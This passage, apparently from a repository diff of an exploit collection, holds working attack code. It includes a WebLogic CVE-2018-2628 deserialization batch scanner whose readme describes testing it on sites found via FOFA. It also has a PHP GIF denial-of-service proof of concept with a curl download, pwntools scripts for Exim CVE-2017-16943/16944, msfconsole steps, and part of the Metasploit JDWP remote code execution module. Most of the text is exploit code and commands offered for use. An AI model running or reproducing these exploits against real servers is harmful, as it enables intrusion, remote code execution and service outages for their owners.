537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
||||
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
|
||||
data3 = '1a7727000d3234322e323134'
|
||||
data4 = '2e312e32353461863d1d0000000078'
|
||||
for d in [data1,data2,data3,data4]:
|
||||
sock.send(d.decode('hex'))
|
||||
time.sleep(2)
|
||||
date = len(sock.recv(2048))
|
||||
print 'Send payload request successful, receive length:%d'.decode(type) %(date)
|
||||
return date
|
||||
|
||||
def sendEvilObjData(sock,data):
|
||||
print 'The payload is being executed, please wait...'.decode(type)
|
||||
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
||||
payload+=data
|
||||
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
||||
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
|
||||
sock.send(payload.decode('hex'))
|
||||
time.sleep(2)
|
||||
sock.send(payload.decode('hex'))
|
||||
res = ''
|
||||
try:
|
||||
while True:
|
||||
res += sock.recv(4096)
|
||||
time.sleep(0.1)
|
||||
except Exception as e:
|
||||
pass
|
||||
return res
|
||||
|
||||
def checkVul(res,server_addr,index):
|
||||
print 'result:'.decode(type)
|
||||
p=re.findall(VER_SIG[index], res, re.S)
|
||||
if len(p)>0:
|
||||
info='%s:%d exist %s Vulnerability.' %(server_addr[0],server_addr[1],VUL[index])
|
||||
info=info.decode(type)
|
||||
print info
|
||||
info=info+"\n"
|
||||
fp.write(info)
|
||||
fp.flush()
|
||||
else:
|
||||
print '%s:%d notexist %s Vulnerability'.decode(type) % (server_addr[0],server_addr[1],VUL[index])
|
||||
|
||||
|
||||
def check(host,port,index):
|
||||
dip=host
|
||||
global dport
|
||||
dport=port
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
server_addr = (dip, dport)
|
||||
try:
|
||||
t3handshake(sock,server_addr)
|
||||
except Exception as e:
|
||||
print '%s:%dConnection failed. Please check if the IP is alive...'.decode(type) %(server_addr[0],server_addr[1])
|
||||
else:
|
||||
try:
|
||||
dateout = buildT3RequestObject(sock,dport,server_addr)
|
||||
if dateout == 0:
|
||||
print '%s:%d not exist %s Vulnerability.'.decode(type) % (server_addr[0],server_addr[1],VUL[index])
|
||||
else:
|
||||
rs=sendEvilObjData(sock,PAYLOAD[index])
|
||||
# print 'rs',rs
|
||||
checkVul(rs,server_addr,index)
|
||||
except Exception as e:
|
||||
print '%s:%dFrequent requests...'.decode(type) %(server_addr[0],server_addr[1])
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
|
||||
if __name__=="__main__":
|
||||
ip_list = []
|
||||
ip_list=[]
|
||||
print "[*]weblogic url list:",
|
||||
while True:
|
||||
line = IpFile.readline()
|
||||
if len(line) == 0: # Zero length indicates EOF
|
||||
break
|
||||
#exit()
|
||||
line=line.strip()
|
||||
print line,
|
||||
ip_list.append(line)
|
||||
IpFile.close()
|
||||
print "\n"
|
||||
for i in ip_list:
|
||||
host,port=i.split(":")
|
||||
check(host,int(port),0)
|
||||
fp.close()
|
||||
print "[*]Test done,please type weblogic1_success.txt!\n"
|
13
CVE_EXP/CVE-2018-2628 weblogic/readme.md
Normal file
@ -0,0 +1,13 @@
|
||||
## weblogic反序列化漏洞批量检测脚本
|
||||
---
|
||||
### Reference
|
||||
* https://xz.aliyun.com/t/2292
|
||||
|
||||
原本的脚本执行时 设置utf8还是一直报错
|
||||
所以对内容进行了小小的修改
|
||||
在fofa上搜索了一些网站进行测试 所得结果和绿盟在线检测一致
|
||||
|
||||
---
|
||||
批量扫描的网站以 ip:port 的格式放在weblogic1.txt中
|
||||
|
||||
存在漏洞的网站会存在 weblogic1_success.txt中
|
@ -0,0 +1,19 @@
|
||||
# CVE-2018-5711 - Hanging Websites by a Harmful GIF
|
||||
|
||||
## Author : Orange Tsai
|
||||
|
||||
## Affected
|
||||
|
||||
* PHP 5<5.6.33
|
||||
* PHP 7.0<7.0.27
|
||||
* PHP 7.1<7.1.13
|
||||
* PHP 7.2<7.2.1
|
||||
## POC
|
||||
```
|
||||
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
|
||||
$ php -r 'imagecreatefromgif("poc.gif");'
|
||||
|
||||
Infinite loop here...
|
||||
```
|
||||
## Reference
|
||||
* http://blog.orange.tw/2018/01/php-cve-2018-5711-hanging-websites-by.html
|
After Width: | Height: | Size: 1.7 KiB |
21
CVE_EXP/Exim/Exim_4.8_4.9/CVE-2017-16943_RCE.py
Normal file
@ -0,0 +1,21 @@
|
||||
# pip install pwntools
|
||||
from pwn import *
|
||||
|
||||
r = remote('127.0.0.1', 25)
|
||||
|
||||
r.recvline()
|
||||
r.sendline("EHLO test")
|
||||
r.recvuntil("250 HELP")
|
||||
r.sendline("MAIL FROM:<test@localhost>")
|
||||
r.recvline()
|
||||
r.sendline("RCPT TO:<test@localhost>")
|
||||
r.recvline()
|
||||
r.sendline('a'*0x1250+'\x7f')
|
||||
r.recvuntil('command')
|
||||
r.sendline('BDAT 1')
|
||||
r.sendline(':BDAT \x7f')
|
||||
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
|
||||
r.send(s+ ':\r\n')
|
||||
r.recvuntil('command')
|
||||
r.send('\n')
|
||||
r.interactive()
|
34
CVE_EXP/Exim/Exim_4.8_4.9/CVE-2017-16944_DOS.py
Normal file
@ -0,0 +1,34 @@
|
||||
# ARCHIVE FROM https://bugs.exim.org/attachment.cgi?id=1052
|
||||
# Conversation
|
||||
# https://bugs.exim.org/show_bug.cgi?id=2199
|
||||
# https://bugs.exim.org/show_bug.cgi?id=2201
|
||||
#
|
||||
#
|
||||
# CVE-2017-16944 (Associated: CVE-2017-16943)
|
||||
#
|
||||
|
||||
# pip install pwntools
|
||||
from pwn import *
|
||||
|
||||
r = remote('localhost', 25)
|
||||
|
||||
r.recvline()
|
||||
r.sendline("EHLO test")
|
||||
r.recvuntil("250 HELP")
|
||||
r.sendline("MAIL FROM:<test@localhost>")
|
||||
r.recvline()
|
||||
r.sendline("RCPT TO:<test@localhost>")
|
||||
r.recvline()
|
||||
#raw_input()
|
||||
r.sendline('a'*0x1100+'\x7f')
|
||||
#raw_input()
|
||||
r.recvuntil('command')
|
||||
r.sendline('BDAT 1')
|
||||
r.sendline(':BDAT \x7f')
|
||||
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
|
||||
r.send(s+ ':\r\n')
|
||||
r.recvuntil('command')
|
||||
#raw_input()
|
||||
r.send('\n')
|
||||
r.interactive()
|
||||
exit()
|
4
CVE_EXP/Exim/README.md
Normal file
@ -0,0 +1,4 @@
|
||||
# Exim
|
||||
|
||||
## 简介
|
||||
* Exim是由剑桥大学Philip Hazel开发的邮件传输代理,负责邮件的路由,转发和投递。它可运行在绝大多数的类Unix系统上,包括Solaris、AIX、Linux、macOS等。相比其他MTA,Exim配置更灵活,支持String Expansion技术,能执行诸如条件判断,字符转换等功能。
|
17
CVE_EXP/Java_Debug_Wire_Potocol_remote_code/README.md
Normal file
@ -0,0 +1,17 @@
|
||||
# Java Debug Wire Protocol remote code
|
||||
* [https://www.rapid7.com/db/modules/exploit/multi/misc/java_jdwp_debugger](https://www.rapid7.com/db/modules/exploit/multi/misc/java_jdwp_debugger)
|
||||
* [https://www.exploit-db.com/papers/27179/](https://www.exploit-db.com/papers/27179/)
|
||||
## 验证
|
||||
`jdb -attach x.x.x.x:8000`执行成功就存在
|
||||
## 利用
|
||||
```
|
||||
msfconsole
|
||||
msf > use exploit/multi/misc/java_jdwp_debugger
|
||||
msf exploit(java_jdwp_debugger) > show targets
|
||||
...targets...
|
||||
msf exploit(java_jdwp_debugger) > set TARGET <target-id>
|
||||
msf exploit(java_jdwp_debugger) > show options
|
||||
...show and set options...
|
||||
msf exploit(java_jdwp_debugger) > exploit
|
||||
```
|
||||
|
@ -0,0 +1,972 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
HANDSHAKE = "JDWP-Handshake"
|
||||
|
||||
REQUEST_PACKET_TYPE = 0x00
|
||||
REPLY_PACKET_TYPE = 0x80
|
||||
|
||||
# Command signatures
|
||||
VERSION_SIG = [1, 1]
|
||||
CLASSESBYSIGNATURE_SIG = [1, 2]
|
||||
ALLCLASSES_SIG = [1, 3]
|
||||
ALLTHREADS_SIG = [1, 4]
|
||||
IDSIZES_SIG = [1, 7]
|
||||
CREATESTRING_SIG = [1, 11]
|
||||
SUSPENDVM_SIG = [1, 8]
|
||||
RESUMEVM_SIG = [1, 9]
|
||||
SIGNATURE_SIG = [2, 1]
|
||||
FIELDS_SIG = [2, 4]
|
||||
METHODS_SIG = [2, 5]
|
||||
GETVALUES_SIG = [2, 6]
|
||||
CLASSOBJECT_SIG = [2, 11]
|
||||
SETSTATICVALUES_SIG = [3, 2]
|
||||
INVOKESTATICMETHOD_SIG = [3, 3]
|
||||
CREATENEWINSTANCE_SIG = [3, 4]
|
||||
ARRAYNEWINSTANCE_SIG = [4, 1]
|
||||
REFERENCETYPE_SIG = [9, 1]
|
||||
INVOKEMETHOD_SIG = [9, 6]
|
||||
STRINGVALUE_SIG = [10, 1]
|
||||
THREADNAME_SIG = [11, 1]
|
||||
THREADSUSPEND_SIG = [11, 2]
|
||||
THREADRESUME_SIG = [11, 3]
|
||||
THREADSTATUS_SIG = [11, 4]
|
||||
ARRAYSETVALUES_SIG = [13, 3]
|
||||
EVENTSET_SIG = [15, 1]
|
||||
EVENTCLEAR_SIG = [15, 2]
|
||||
EVENTCLEARALL_SIG = [15, 3]
|
||||
|
||||
# Other codes
|
||||
MODKIND_COUNT = 1
|
||||
MODKIND_THREADONLY = 2
|
||||
MODKIND_CLASSMATCH = 5
|
||||
MODKIND_LOCATIONONLY = 7
|
||||
MODKIND_STEP = 10
|
||||
EVENT_BREAKPOINT = 2
|
||||
EVENT_STEP = 1
|
||||
SUSPEND_EVENTTHREAD = 1
|
||||
SUSPEND_ALL = 2
|
||||
NOT_IMPLEMENTED = 99
|
||||
VM_DEAD = 112
|
||||
INVOKE_SINGLE_THREADED = 2
|
||||
TAG_OBJECT = 76
|
||||
TAG_STRING = 115
|
||||
TYPE_CLASS = 1
|
||||
TAG_ARRAY = 91
|
||||
TAG_VOID = 86
|
||||
TAG_THREAD = 116
|
||||
STEP_INTO = 0
|
||||
STEP_MIN = 0
|
||||
THREAD_SLEEPING_STATUS = 2
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module abuses exposed Java Debug Wire Protocol services in order
|
||||
to execute arbitrary Java code remotely. It just abuses the protocol
|
||||
features, since no authentication is required if the service is enabled.
|
||||
},
|
||||
'Author' => [
|
||||
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
|
||||
'Christophe Alladoum', # JDWP Analysis and Exploit
|
||||
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '96066'],
|
||||
['EDB', '27179'],
|
||||
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
|
||||
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
|
||||
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
|
||||
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
|
||||
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
|
||||
],
|
||||
'Platform' => %w{ linux win },
|
||||
'Arch' => ARCH_X86,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Mar 12 2010'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
|
||||
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
res = handshake
|
||||
disconnect
|
||||
|
||||
if res.nil?
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res == HANDSHAKE
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def default_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
# Establishes handshake with the server
|
||||
def handshake
|
||||
sock.put(HANDSHAKE)
|
||||
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
|
||||
end
|
||||
|
||||
# Forges packet for JDWP protocol
|
||||
def create_packet(cmdsig, data="")
|
||||
flags = 0x00
|
||||
cmdset, cmd = cmdsig
|
||||
pktlen = data.length + 11
|
||||
buf = [pktlen, @my_id, flags, cmdset, cmd]
|
||||
pkt = buf.pack("NNCCC")
|
||||
pkt << data
|
||||
@my_id += 2
|
||||
pkt
|
||||
end
|
||||
|
||||
# Reads packet response for JDWP protocol
|
||||
def read_reply(timeout = default_timeout)
|
||||
length = sock.get_once(4, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
|
||||
pkt_len = length.unpack('N')[0]
|
||||
if pkt_len < 4
|
||||
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
|
||||
end
|
||||
pkt_len = pkt_len - 4
|
||||
|
||||
response = sock.get_once(pkt_len, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
||||
while response.length < pkt_len
|
||||
partial = sock.get_once(pkt_len, timeout)
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
|
||||
response << partial
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
|
||||
|
||||
id, flags, err_code = response.unpack('NCn')
|
||||
response.slice!(0..6)
|
||||
if err_code != 0 && flags == REPLY_PACKET_TYPE
|
||||
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Returns the characters contained in the string defined in target VM
|
||||
def solve_string(data)
|
||||
sock.put(create_packet(STRINGVALUE_SIG, data))
|
||||
response = read_reply
|
||||
return "" unless response
|
||||
return read_string(response)
|
||||
end
|
||||
|
||||
# Unpacks received string structure from the server response into a normal string
|
||||
def read_string(data)
|
||||
data_len = data.unpack('N')[0]
|
||||
data.slice!(0..3)
|
||||
return data.slice!(0,data_len)
|
||||
end
|
||||
|
||||
# Creates a new string object in the target VM and returns its id
|
||||
def create_string(data)
|
||||
buf = build_string(data)
|
||||
sock.put(create_packet(CREATESTRING_SIG, buf))
|
||||
buf = read_reply
|
||||
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
|
||||
end
|
||||
|
||||
# Packs normal string into string structure for target VM
|
||||
def build_string(data)
|
||||
ret = [data.length].pack('N')
|
||||
ret << data
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
# Pack Fixnum for JDWP protocol
|
||||
def format(fmt, value)
|
||||
if fmt == "L" || fmt == 8
|
||||
return [value].pack('Q>')
|
||||
elsif fmt == "I" || fmt == 4
|
||||
return [value].pack('N')
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Unknown format")
|
||||
end
|
||||
|
||||
# Unpack Fixnum from JDWP protocol
|
||||
def unformat(fmt, value)
|
||||
if fmt == "L" || fmt == 8
|
||||
return value[0..7].unpack('Q>')[0]
|
||||
elsif fmt == "I" || fmt == 4
|
||||
return value[0..3].unpack('N')[0]
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Unknown format")
|
||||
end
|
||||
|
||||
# Parses given data according to a set of formats
|
||||
def parse_entries(buf, formats, explicit=true)
|
||||
entries = []
|
||||
|
||||
if explicit
|
||||
nb_entries = buf.unpack('N')[0]
|
||||
buf.slice!(0..3)
|
||||
else
|
||||
nb_entries = 1
|
||||
end
|
||||
|
||||
nb_entries.times do |var|
|
||||
|
||||
if var != 0 && var % 1000 == 0
|
||||
vprint_status("Parsed #{var} classes of #{nb_entries}")
|
||||
end
|
||||
|
||||
data = {}
|
||||
|
||||
formats.each do |fmt,name|
|
||||
if fmt == "L" || fmt == 8
|
||||
data[name] = buf.unpack('Q>')[0]
|
||||
buf.slice!(0..7)
|
||||
elsif fmt == "I" || fmt == 4
|
||||
data[name] = buf.unpack('N')[0]
|
||||
buf.slice!(0..3)
|
||||
elsif fmt == "S"
|
||||
data_len = buf.unpack('N')[0]
|
||||
buf.slice!(0..3)
|
||||
data[name] = buf.slice!(0,data_len)
|
||||
elsif fmt == "C"
|
||||
data[name] = buf.unpack('C')[0]
|
||||
buf.slice!(0)
|
||||
elsif fmt == "Z"
|
||||
t = buf.unpack('C')[0]
|
||||
buf.slice!(0)
|
||||
if t == 115
|
||||
data[name] = solve_string(buf.slice!(0..7))
|
||||
elsif t == 73
|
||||
data[name], buf = buf.unpack('NN')
|
||||
end
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
|
||||
end
|
||||
|
||||
end
|
||||
entries.append(data)
|
||||
end
|
||||
|
||||
entries
|
||||
end
|
||||
|
||||
# Gets the sizes of variably-sized data types in the target VM
|
||||
def get_sizes
|
||||
formats = [
|
||||
["I", "fieldid_size"],
|
||||
["I", "methodid_size"],
|
||||
["I", "objectid_size"],
|
||||
["I", "referencetypeid_size"],
|
||||
["I", "frameid_size"]
|
||||
]
|
||||
sock.put(create_packet(IDSIZES_SIG))
|
||||
response = read_reply
|
||||
entries = parse_entries(response, formats, false)
|
||||
entries.each { |e| @vars.merge!(e) }
|
||||
end
|
||||
|
||||
# Gets the JDWP version implemented by the target VM
|
||||
def get_version
|
||||
formats = [
|
||||
["S", "descr"],
|
||||
["I", "jdwp_major"],
|
||||
["I", "jdwp_minor"],
|
||||
["S", "vm_version"],
|
||||
["S", "vm_name"]
|
||||
]
|
||||
sock.put(create_packet(VERSION_SIG))
|
||||
response = read_reply
|
||||
entries = parse_entries(response, formats, false)
|
||||
entries.each { |e| @vars.merge!(e) }
|
||||
end
|
||||
|
||||
def version
|
||||
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
|
||||
end
|
||||
|
||||
# Returns reference for all threads currently running on target VM
|
||||
def get_all_threads
|
||||
sock.put(create_packet(ALLTHREADS_SIG))
|
||||
response = read_reply
|
||||
num_threads = response.unpack('N').first
|
||||
response.slice!(0..3)
|
||||
|
||||
size = @vars["objectid_size"]
|
||||
num_threads.times do
|
||||
t_id = unformat(size, response[0..size-1])
|
||||
@threads[t_id] = nil
|
||||
response.slice!(0..size-1)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns reference types for all classes currently loaded by the target VM
|
||||
def get_all_classes
|
||||
return unless @classes.empty?
|
||||
|
||||
formats = [
|
||||
["C", "reftype_tag"],
|
||||
[@vars["referencetypeid_size"], "reftype_id"],
|
||||
["S", "signature"],
|
||||
["I", "status"]
|
||||
]
|
||||
sock.put(create_packet(ALLCLASSES_SIG))
|
||||
response = read_reply
|
||||
@classes.append(parse_entries(response, formats))
|
||||
end
|
||||
|
||||
# Checks if specified class is currently loaded by the target VM and returns it
|
||||
def get_class_by_name(name)
|
||||
@classes.each do |entry_array|
|
||||
entry_array.each do |entry|
|
||||
if entry["signature"].downcase == name.downcase
|
||||
return entry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
|
||||
# The list of methods will include constructors (identified with the name "<init>")
|
||||
def get_methods(reftype_id)
|
||||
if @methods.has_key?(reftype_id)
|
||||
return @methods[reftype_id]
|
||||
end
|
||||
|
||||
formats = [
|
||||
[@vars["methodid_size"], "method_id"],
|
||||
["S", "name"],
|
||||
["S", "signature"],
|
||||
["I", "mod_bits"]
|
||||
]
|
||||
ref_id = format(@vars["referencetypeid_size"],reftype_id)
|
||||
sock.put(create_packet(METHODS_SIG, ref_id))
|
||||
response = read_reply
|
||||
@methods[reftype_id] = parse_entries(response, formats)
|
||||
end
|
||||
|
||||
# Returns information for each field in a reference type (ie. object)
|
||||
def get_fields(reftype_id)
|
||||
formats = [
|
||||
[@vars["fieldid_size"], "field_id"],
|
||||
["S", "name"],
|
||||
["S", "signature"],
|
||||
["I", "mod_bits"]
|
||||
]
|
||||
ref_id = format(@vars["referencetypeid_size"],reftype_id)
|
||||
sock.put(create_packet(FIELDS_SIG, ref_id))
|
||||
response = read_reply
|
||||
fields = parse_entries(response, formats)
|
||||
|
||||
fields
|
||||
end
|
||||
|
||||
# Returns the value of one static field of the reference type. The field must be member of the reference type
|
||||
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
|
||||
# for example, the values of private fields can be obtained.
|
||||
def get_value(reftype_id, field_id)
|
||||
data = format(@vars["referencetypeid_size"],reftype_id)
|
||||
data << [1].pack('N')
|
||||
data << format(@vars["fieldid_size"],field_id)
|
||||
|
||||
sock.put(create_packet(GETVALUES_SIG, data))
|
||||
response = read_reply
|
||||
num_values = response.unpack('N')[0]
|
||||
|
||||
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
|
||||
fail_with(Failure::Unknown, "Bad response when getting value for field")
|
||||
end
|
||||
|
||||
response.slice!(0..4)
|
||||
|
||||
len = @vars["objectid_size"]
|
||||
value = unformat(len, response)
|
||||
|
||||
value
|
||||
end
|
||||
|
||||
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
|
||||
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
|
||||
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
|
||||
# the field's type exactly. For object values, there must exist a widening reference conversion from the
|
||||
# value's type to the field's type and the field's type must be loaded.
|
||||
def set_value(reftype_id, field_id, value)
|
||||
data = format(@vars["referencetypeid_size"],reftype_id)
|
||||
data << [1].pack('N')
|
||||
data << format(@vars["fieldid_size"],field_id)
|
||||
data << format(@vars["objectid_size"],value)
|
||||
|
||||
sock.put(create_packet(SETSTATICVALUES_SIG, data))
|
||||
read_reply
|
||||
end
|
||||
|
||||
|
||||
# Checks if specified method is currently loaded by the target VM and returns it
|
||||
def get_method_by_name(classname, name, signature = nil)
|
||||
@methods[classname].each do |entry|
|
||||
if signature.nil?
|
||||
return entry if entry["name"].downcase == name.downcase
|
||||
else
|
||||
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
|
||||
return entry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Checks if specified class and method are currently loaded by the target VM and returns them
|
||||
def get_class_and_method(looked_class, looked_method, signature = nil)
|
||||
target_class = get_class_by_name(looked_class)
|
||||
unless target_class
|
||||
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
|
||||
end
|
||||
|
||||
get_methods(target_class["reftype_id"])
|
||||
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
|
||||
unless target_method
|
||||
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
|
||||
end
|
||||
|
||||
return target_class, target_method
|
||||
end
|
||||
|
||||
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
|
||||
def str_to_fq_class(s)
|
||||
i = s.rindex(".")
|
||||
unless i
|
||||
fail_with(Failure::BadConfig, 'Bad defined break class')
|
||||
end
|
||||
|
||||
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
|
||||
|
||||
classname = 'L'
|
||||
classname << s[0..i-1].gsub(/[.]/, '/')
|
||||
classname << ';'
|
||||
|
||||
return classname, method
|
||||
end
|
||||
|
||||
# Gets the status of a given thread
|
||||
def thread_status(thread_id)
|
||||
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
buf = read_reply(datastore['BREAK_TIMEOUT'])
|
||||
unless buf
|
||||
fail_with(Failure::Unknown, "No network response")
|
||||
end
|
||||
status, suspend_status = buf.unpack('NN')
|
||||
|
||||
status
|
||||
end
|
||||
|
||||
# Resumes execution of the application or thread after the suspend command or an event has stopped it
|
||||
def resume_vm(thread_id = nil)
|
||||
if thread_id.nil?
|
||||
sock.put(create_packet(RESUMEVM_SIG))
|
||||
else
|
||||
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
end
|
||||
|
||||
response = read_reply(datastore['BREAK_TIMEOUT'])
|
||||
unless response
|
||||
fail_with(Failure::Unknown, "No network response")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Suspend execution of the application or thread
|
||||
def suspend_vm(thread_id = nil)
|
||||
if thread_id.nil?
|
||||
sock.put(create_packet(SUSPENDVM_SIG))
|
||||
else
|
||||
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
|
||||
end
|
||||
|
||||
response = read_reply
|
||||
unless response
|
||||
fail_with(Failure::Unknown, "No network response")
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
||||
def send_event(event_code, args)
|
||||
data = [event_code].pack('C')
|
||||
data << [SUSPEND_ALL].pack('C')
|
||||
data << [args.length].pack('N')
|
||||
|
||||
args.each do |kind,option|
|
||||
data << [kind].pack('C')
|
||||
data << option
|
||||
end
|
||||
|
||||
sock.put(create_packet(EVENTSET_SIG, data))
|
||||
response = read_reply
|
||||
unless response
|
||||
fail_with(Failure::Unknown, "#{peer} - No network response")
|
||||
end
|
||||
return response.unpack('N')[0]
|
||||
end
|
||||
|
||||
